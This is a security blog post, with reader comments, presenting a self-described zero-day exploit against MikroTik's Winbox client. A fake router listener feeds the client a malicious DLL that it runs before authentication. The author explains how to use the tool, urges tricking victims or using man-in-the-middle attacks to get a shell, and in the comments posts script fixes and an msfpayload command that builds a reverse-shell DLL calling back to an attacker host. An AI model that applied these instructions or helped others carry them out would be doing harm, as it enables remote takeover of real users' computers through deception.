0day: Mikrotik’s Winbox Client Side attack. A remote code execution exploit

Hello ppl,
In this post I wanna present you a vulnerability I found and exploited, concerning Winbox. Winbox is the client that controls mikrotik routers.. It is a popular router OS. For more info www.mikrotik.com 🙂
Winbox has a custom protocol communicating with the mikrotik routers and you can select between secure/unsecure communication. Winbox uses a tcp port 8291 by default. Old routers had that port hardcoded, newer ones have the ability to change port. At the bottom of the post, you’ll find a link to download the script and the files needed. You’ll find info how/why in script comments or here…

About the exploit
The exploit you will see in this post, is a mikrotik winbox service emulator. It is a listener, that waits for a winbox client/victim to connect, sends him a malicious dll/plugin and winbox executes it. Using this feature (that we can inject dlls in winbox) we exploit also the fact that a secure connection can be decided by server-side.. So no matter what client has selected, we can sent unencrypted data in his winbox. So attacker have to social his victim or via a MiTM can gain a shell.

Download the exploit code: mtikInject
* Updated on 30/4/2012 Lines 99 & 148 as said in Post’s comments *

 

 Vulnerability Description
===========================
When you connect to mikrotik router using winbox, it is asking for an index with plugins (DLLs) their size, version and CRCs. If something new is found, or if that client haven’t connected to that mikrotik version yet, winbox requests the new plugin(s) (.dll file(s)) from mikrotik router. When winbox downloads all the DLLs required in order to load the controlling interface of the mikrotik router, loads those DLLs (executes the DllMain() of each one) and then tries to make an authentication to the remote mikrotik router. The vulnerability exploits that winbox is loading the remote dlls before authentication and without any further confirmation of plugins originality.

 

 The exploit
=============
This is a winbox vulnerability which exploits the way that winbox is working. That is the reason why it’s working on all winbox versions (even on today’s version) This exploit is based in leading (socialy) the victim to connect to this malicious
winbox listener, using his/her winbox client. More details in www.133tsec.com

 Usage
=======
details in www.133tsec.com
In order to use this exploit successfully you have to :

1. Have index.bin in the folder where .py script is running
2. Have all original DLLs of the spoofed index in the folder where .py script is running
3. Make a reverse/bind shell DLL, compress it with gzip and place it in script’s folder and
enter it’s filename when script will ask for it.
*** Your DLL’s filename must have 7 chars length (ex. ppp.dll) ***
*** The gziped version of the dll, must be between 10k-99k (must have 5 digits of size) ***
The above 2 restrictions caused to the fact that i don’t create the index dynamically from the script..
4. Social your victim to connect to the machine running the script, and gain the shell u r expecting
The default shell contained in ppp.dll.bind.gz is a bind shell for port 4444 produced by msf.
– You are sure that your victim is forced to download the backdoored gz/dll every time again and again cos script is sending every time a “random” CRC –

 

Some FAQ
==========
– Why these restrictions in the backdoor name and size?
> Those restrictions are cos of the index file that I use.. In the specific case, it is used the index of a mikrotik version 5.14 router, so the script act like a mikrotik 5.14 before the authentication. I did the easy way.. I just used the index as is, by changing only some bytes keeping the same size :p
– How can i make a gziped backdoor 10k – 99k size easy?
> Well you can do your own way.. The way I did it, is that i added in dll Visual Studio 2008 project, a dummy .jpg picture, after padding some of the image’s bytes with x00’s so i can control the exact resulting size ;p . After that u gzip it with 7-zip in windows or gzip in linux
– How can i find the dlls that are downloaded from mikrotik via winbox?
> These files can be found in %APPDATA%MikrotikWinbox and the version of the mikrotik router you are controlling.. Every folder has it’s dlls inside.. BUT you can’t use those dlls to pass them to the victim via the exploit script cos winbox expects some format (every 0x101 bytes expecting 0xFFFF bytes and 0x(SIZE)0xFF of the chars awaiting) and i didn’t do it dynamically.. i just used the dlls as they are transfered from the mikrotik router using another dll downloader script..

 

Exploit usage short video..
Attacker (left side) listens on 8291 and the victim (right side) using winbox, got pwned via bind shell on port 4444.
You can see it in HD in vimeo’s site pressing the HD button

All files and python script here… Download them:
mtikInject
* Updated on 30/4/2012 Lines 99 & 148 as said in Post’s comments *

 

Tagged , , , , , . Bookmark the permalink.

28 Responses to 0day: Mikrotik’s Winbox Client Side attack. A remote code execution exploit

  1. Hadeta says:

    Nice remote code exec dude… 🙂

  2. LucuBRB says:

    Wow… that’s amazing :thumbup:

  3. Alejo says:

    Excelent work!

    I tried to used but i got this error:
    struct.error: ‘h’ format requires -32768 <= number <= 32767

    Any reason?
    Windows 7 64 with Phyton 2.7

    Best regards.

  4. PoURaN says:

    @Alejo
    Hey alejo,
    thanx for the good words.
    I notice that this error is only in python 2.7 and not in 2.4.. but anyway it is an error and it’s not working cos i use “h” in struct.pack what means short integet..
    The correct is to use an unsigned short integer.. meaning that u have to correct it placing a “H” instead of “h”.. More specific:
    On line 101 you have to correct it placing this:
    struct.pack(‘>H’,compressedFileSize)

    And you’re done 😉 let me know the results.

  5. PoURaN says:

    @Alejo
    Also testing it in a friend, it showed me another error on line 146 for the same reason.. signed char to unsigned.. so Correction number 2:
    customGzip += struct.pack(‘=B’, len(buff)-i) + ‘xFF’
    ..it needs a capital “B” .. i’ll update the source provided in the zip soon and update comments

  6. PoURaN says:

    Source .py is updated today 30/4/2012.. now must work fine in python 2.7 too.

  7. Dr.Hard_r0ck says:

    looks awesome
    but i have some questions
    is the attacker and the victim must use the same gateway?
    like victim ip is 192.168.1.xx
    then the attacker ip must be 192.168.1.xx
    or any ip address
    another question
    is the attacker must use man in the middle attack while using the script ?

  8. selo says:

    Good work
    but its gonna work if the victim already download the dll files he need to connect before ?

  9. PoURaN says:

    @Dr.Hard_r0ck
    Hi Dr.Hard_r0ck,
    the victim can be either in the same gw or in another one.. The attack can be achieved via internet too but you have to social your victim..
    As you understand, the script does a malicious mikrotik emulation so imagine how many ways you have to fool/spoof your victim..
    Yes you can also do it as a MiTM attack 😉 that’s cool cos no social is needed!

  10. PoURaN says:

    @selo
    hey selo,
    yes it will work even if the victim has already the DLLs 😉 cos the script (you can see in the comments) every time sends a random CRC for the specific malicious DLL so the victim will ALWAYS try to re-download it 😀

  11. PaRaN0!D says:

    Awosme PoURaN

    I will test that first …
    Then I will explain how to spoof Mikrotik router in victim Winbox
    So the exploit will be independent on S.E

  12. EJhWE2tepBws says:

    166606 556628Do you mind if I quote a couple of your posts as long as I provide credit and sources back to your site? My blog is in the exact same area of interest as yours and my visitors would truly benefit from some of the information you provide here. Please let me know if this ok with you. Thanks! 381443

  13. PoURaN says:

    @EJhWE2tepBws
    Yes you can. Please let me know when you do it, so i can take a look 😉
    Thank you

  14. cygol says:

    a great job

    i’v got this error:
    [+] File ‘ppp.dll.bind.gz’ opened with size 39945 bytes
    [+] Waiting connection on port 8291..
    [+] Connection received by (’192.168.0.241′, 2197)
    [+] Waiting for index.
    [+] Wrong index.. Exiting..

    Traceback (most recent call last):
    File “C:Python27mtikInject.py”, line 116, in
    sys.exit(0)
    SystemExit: 0
    >>>

    how do i it?
    where i can find index file?

  15. PoURaN says:

    @cygol
    Hey cygol!
    Thank for the good words.

    The problem there, is that the remote party (the victim’s winbox client) doesn’t send you the correct index format that the script is waiting for… That means that the victim maybe have an updated winbox client (am curious o that..) or probably he doesn’t connect to you with winbox, but with another client that sends garbage…
    When winbox is connected to mikrotik, sends an “index” sequence of bytes.. that means that it sends a byte sequence of this format: “x12x02″+”index”+”x00”
    You can see it from the mtikInject.py in line 112.
    If this is not received, means that the client is using a patched/changed version of winbox or maybe he is not using winbox at all…
    So as you understand, “index” is not something you may have.. It is received from the remote party (victim using winbox… watch video)

    Hope that helps…

  16. irph says:

    Enter the compressed filename: ppp.dll.bind.gz
    [-] Error opening file

    C:Python27>python c:mtkmtikInject.py

    +———————————–+
    | |n| Winbox remote client DLL injector | |
    | = coded by PoURaN = | |
    +___________________________________+ |
    ___________________________________|

    Enter the compressed filename: ppp.dll
    [-] Error opening file

    why it cant open the file ?

  17. cruzeiro says:

    i not understand .. i got it
    “[+] File ‘ppp.dll.bind.gz’ opened with size 39945 bytes
    [+] Waiting connection on port 8291. ”

    But nothing happens .. have to wait for the admin connect? please help 🙁

  18. cruzeiro says:

    I’m connected in network, with 172.168.2.1 gtw and ip 172.168.2.1xx

  19. PoURaN says:

    @cruzeiro
    Hey cruzeiro,
    Yes you have to social the ‘victim’ to connect to you with his winbox client.. When he’ll connect to you, he’ll execute your payload in his machine.

  20. cruzeiro says:

    @PoURaN

    First, thank you very much for responding so fast … but I need to change the ip? I’m inside in network…because I see the video, you have a different ip … I mean … I have to do is wait for it to connect I’m already “connected” on the same network? all I need password and login … ps: the server has shh and telnet open, know any other way? thank you friend

  21. xxx says:

    I have a few … what’s the solution …??

    Enter the compressed filename: ppp.dll.bind.gz

    [+] File ‘ppp.dll.bind.gz’ opened with size 39945 bytes
    [+] Waiting connection on port 8291..
    Traceback (most recent call last):
    File “mtikInject.py”, line 106, in
    s.bind((”, 8291))
    File “”, line 1, in bind
    socket.error: [Errno 98] Address already in use

  22. glaive says:

    thank you for this great tutorial! any sources so i can make my custom dll?
    Regards Glaive

  23. PoURaN says:

    @glaive
    Hey thanks for the good words Glaive,
    Yes you can compile a custom dll easy with MS VC compiler, or you can generate an msf payload using the dll output switch… For example to generate a reverse shell on your 192.168.1.1 machine on port 80 you do msfpayload windows/shell_reverse_tcp LHOST=192.168.1.1 LPORT=80 D
    Google it a bit you can find lot of stuff out there.. but have in mind to give in script the compressed .gz dll

  24. glaive says:

    this was very helpful, thank you Master!!! 🙂

  25. x4r0r says:

    use gmail ? please

  26. ktqvk says:

    Nice work dude.. precise and smart.

  27. G0t M!lk says:

    Thats cool 😀
    but i have some questions about the usage.

    1. Have index.bin in the folder where .py script is running
    Where i can get that index.bin and in your script folder there is a file called index514.dat

    2. Have all original DLLs of the spoofed index in the folder where .py script is running
    if im using a shell code with the name ppp.DLL should i remove ppp.DLL from the folder where the script is ?
    3. Social your victim to connect to the machine running the script, and gain the shell u r expecting.
    if i used DNS SPOOF or MITM attack i dont need to social him?
    also if he uses a point to point connection to reach the mikrotik server i have to social the new IP that he got when he uses the point to point connection or i attack the ethernet ip address?
    Thanks for your time.

  28. Asem Nofal says:

    Is There any modification in the zipped DLL to make it work with other versions , because the exploit only worked with winbox 2.2.18 , 2.2.7

Leave a Reply to PoURaN Cancel reply

Your email address will not be published. Required fields are marked *